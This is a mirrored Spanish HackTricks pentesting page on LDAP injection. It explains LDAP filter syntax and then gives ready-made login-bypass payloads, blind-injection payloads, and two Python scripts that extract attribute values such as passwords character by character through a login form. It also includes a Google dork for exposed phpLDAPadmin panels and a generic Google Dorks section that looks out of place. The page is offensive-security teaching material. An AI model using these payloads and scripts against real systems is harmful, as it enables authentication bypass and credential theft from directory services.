mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
257 lines
12 KiB
Markdown
257 lines
12 KiB
Markdown
|
# Inyección LDAP
|
||
|
|
||
|
## Inyección LDAP
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
|
||
|
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||
|
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**.
|
||
|
|
||
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
|
||
|
### **LDAP**
|
||
|
|
||
|
**Si quieres saber qué es LDAP, accede a la siguiente página:**
|
||
|
|
||
|
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||
|
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
La **inyección LDAP** es un ataque utilizado para **explotar** aplicaciones **web** que construyen **sentencias LDAP** basadas en la **entrada del usuario**. Cuando una aplicación **no** **limpia** adecuadamente la entrada del usuario, es posible modificar las sentencias LDAP utilizando un proxy local.
|
||
|
|
||
|
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
||
|
|
||
|
**Filtro** = ( filtercomp )\
|
||
|
**Filtercomp** = and / or / not / item\
|
||
|
**And** = & filterlist\
|
||
|
**Or** = |filterlist\
|
||
|
**Not** = ! filter\
|
||
|
**Filterlist** = 1\*filter\
|
||
|
**Item**= simple / present / substring\
|
||
|
**Simple** = attr filtertype assertionvalue\
|
||
|
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||
|
**Present** = attr = \*\
|
||
|
**Substring** = attr ”=” \[initial] \* \[final]\
|
||
|
**Initial** = assertionvalue\
|
||
|
**Final** = assertionvalue\
|
||
|
**(&)** = Verdadero absoluto\
|
||
|
**(|)** = Falso absoluto
|
||
|
|
||
|
Por ejemplo:\
|
||
|
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||
|
`(&(objectClass=user)(uid=*))`
|
||
|
|
||
|
Puedes acceder a la base de datos, y esta puede contener información de muchos tipos diferentes.
|
||
|
|
||
|
**OpenLDAP**: Si llegan 2 filtros, solo ejecuta el primero.\
|
||
|
**ADAM o Microsoft LDS**: Con 2 filtros, lanzan un error.\
|
||
|
**SunOne Directory Server 5.0**: Ejecuta ambos filtros.
|
||
|
|
||
|
**Es muy importante enviar el filtro con la sintaxis correcta o se lanzará un error. Es mejor enviar solo 1 filtro.**
|
||
|
|
||
|
El filtro debe comenzar con: `&` o `|`\
|
||
|
Ejemplo: `(&(directory=val1)(folder=public))`
|
||
|
|
||
|
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||
|
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||
|
|
||
|
Entonces: `(&(objectClass=`**`*)(ObjectClass=*))`** será el primer filtro (el que se ejecuta).
|
||
|
|
||
|
### Bypass de inicio de sesión
|
||
|
|
||
|
LDAP admite varios formatos para almacenar la contraseña: clara, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que, independientemente de lo que insertes dentro de la contraseña, se haya cifrado.
|
||
|
```bash
|
||
|
user=*
|
||
|
password=*
|
||
|
--> (&(user=*)(password=*))
|
||
|
# The asterisks are great in LDAPi
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=*)(&
|
||
|
password=*)(&
|
||
|
--> (&(user=*)(&)(password=*)(&))
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=*)(|(&
|
||
|
pass=pwd)
|
||
|
--> (&(user=*)(|(&)(pass=pwd))
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=*)(|(password=*
|
||
|
password=test)
|
||
|
--> (&(user=*)(|(password=*)(password=test))
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=*))%00
|
||
|
pass=any
|
||
|
--> (&(user=*))%00 --> Nothing more is executed
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
user=admin)(&)
|
||
|
password=pwd
|
||
|
--> (&(user=admin)(&))(password=pwd) #Can through an error
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
username = admin)(!(&(|
|
||
|
pass = any))
|
||
|
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
username=*
|
||
|
password=*)(&
|
||
|
--> (&(user=*)(password=*)(&))
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
username=admin))(|(|
|
||
|
password=any
|
||
|
--> (&(uid=admin)) (| (|) (webpassword=any))
|
||
|
```
|
||
|
#### Listas
|
||
|
|
||
|
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||
|
* [Atributos LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
||
|
* [Atributos LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||
|
|
||
|
### Inyección LDAP a ciegas
|
||
|
|
||
|
Puede forzar respuestas Falsas o Verdaderas para verificar si se devuelve algún dato y confirmar una posible Inyección LDAP a ciegas:
|
||
|
```bash
|
||
|
#This will result on True, so some information will be shown
|
||
|
Payload: *)(objectClass=*))(&objectClass=void
|
||
|
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
#This will result on True, so no information will be returned or shown
|
||
|
Payload: void)(objectClass=void))(&objectClass=void
|
||
|
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
|
||
|
```
|
||
|
#### Volcado de datos
|
||
|
|
||
|
Puedes iterar sobre las letras ascii, dígitos y símbolos:
|
||
|
```bash
|
||
|
(&(sn=administrator)(password=*)) : OK
|
||
|
(&(sn=administrator)(password=A*)) : KO
|
||
|
(&(sn=administrator)(password=B*)) : KO
|
||
|
...
|
||
|
(&(sn=administrator)(password=M*)) : OK
|
||
|
(&(sn=administrator)(password=MA*)) : KO
|
||
|
(&(sn=administrator)(password=MB*)) : KO
|
||
|
...
|
||
|
```
|
||
|
### Scripts
|
||
|
|
||
|
#### **Descubrir campos LDAP válidos**
|
||
|
|
||
|
Los objetos LDAP **contienen por defecto varios atributos** que podrían ser utilizados para **guardar información**. Puedes intentar **realizar un ataque de fuerza bruta en todos ellos para extraer esa información**. Puedes encontrar una lista de [**atributos LDAP por defecto aquí**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||
|
```python
|
||
|
#!/usr/bin/python3
|
||
|
import requests
|
||
|
import string
|
||
|
from time import sleep
|
||
|
import sys
|
||
|
|
||
|
proxy = { "http": "localhost:8080" }
|
||
|
url = "http://10.10.10.10/login.php"
|
||
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
||
|
|
||
|
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
|
||
|
|
||
|
for attribute in attributes: #Extract all attributes
|
||
|
value = ""
|
||
|
finish = False
|
||
|
while not finish:
|
||
|
for char in alphabet: #In each possition test each possible printable char
|
||
|
query = f"*)({attribute}={value}{char}*"
|
||
|
data = {'login':query, 'password':'bla'}
|
||
|
r = requests.post(url, data=data, proxies=proxy)
|
||
|
sys.stdout.write(f"\r{attribute}: {value}{char}")
|
||
|
#sleep(0.5) #Avoid brute-force bans
|
||
|
if "Cannot login" in r.text:
|
||
|
value += str(char)
|
||
|
break
|
||
|
|
||
|
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
|
||
|
finish = True
|
||
|
print()
|
||
|
```
|
||
|
#### **Inyección LDAP ciega especial (sin "\*")**
|
||
|
```python
|
||
|
#!/usr/bin/python3
|
||
|
|
||
|
import requests, string
|
||
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
||
|
|
||
|
flag = ""
|
||
|
for i in range(50):
|
||
|
print("[i] Looking for number " + str(i))
|
||
|
for char in alphabet:
|
||
|
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
|
||
|
if ("TRUE CONDITION" in r.text):
|
||
|
flag += char
|
||
|
print("[+] Flag: " + flag)
|
||
|
break
|
||
|
```
|
||
|
### Google Dorks
|
||
|
|
||
|
### Descripción
|
||
|
|
||
|
Google Dorks es una técnica de búsqueda avanzada que utiliza operadores de búsqueda específicos para encontrar información que no está disponible en una búsqueda normal. Los operadores de búsqueda se utilizan para filtrar los resultados de búsqueda y obtener información específica.
|
||
|
|
||
|
### Uso
|
||
|
|
||
|
Los Google Dorks se pueden utilizar para encontrar información sensible en sitios web, como contraseñas, nombres de usuario, direcciones de correo electrónico, información de tarjetas de crédito y otra información confidencial. También se pueden utilizar para encontrar vulnerabilidades en sitios web y aplicaciones.
|
||
|
|
||
|
### Ejemplos
|
||
|
|
||
|
- `site:example.com intext:password` - Busca la palabra "password" en el sitio web example.com.
|
||
|
- `filetype:pdf intext:confidential` - Busca archivos PDF que contengan la palabra "confidencial".
|
||
|
- `inurl:admin intext:username` - Busca páginas de inicio de sesión de administrador que contengan la palabra "username".
|
||
|
- `intitle:"index of" intext:backup` - Busca directorios que contengan archivos de copia de seguridad.
|
||
|
- `intext:"powered by WordPress" site:example.com` - Busca sitios web que utilizan WordPress.
|
||
|
|
||
|
### Prevención
|
||
|
|
||
|
Para prevenir la exposición de información sensible a través de Google Dorks, es importante asegurarse de que la información confidencial no esté disponible públicamente en el sitio web. Esto se puede lograr mediante la implementación de medidas de seguridad adecuadas, como la autenticación de usuarios y la encriptación de datos sensibles.
|
||
|
```bash
|
||
|
intitle:"phpLDAPadmin" inurl:cmd.php
|
||
|
```
|
||
|
### Más Payloads
|
||
|
|
||
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||
|
|
||
|
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||
|
**Consejo de recompensa por errores**: **regístrese** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**.
|
||
|
|
||
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|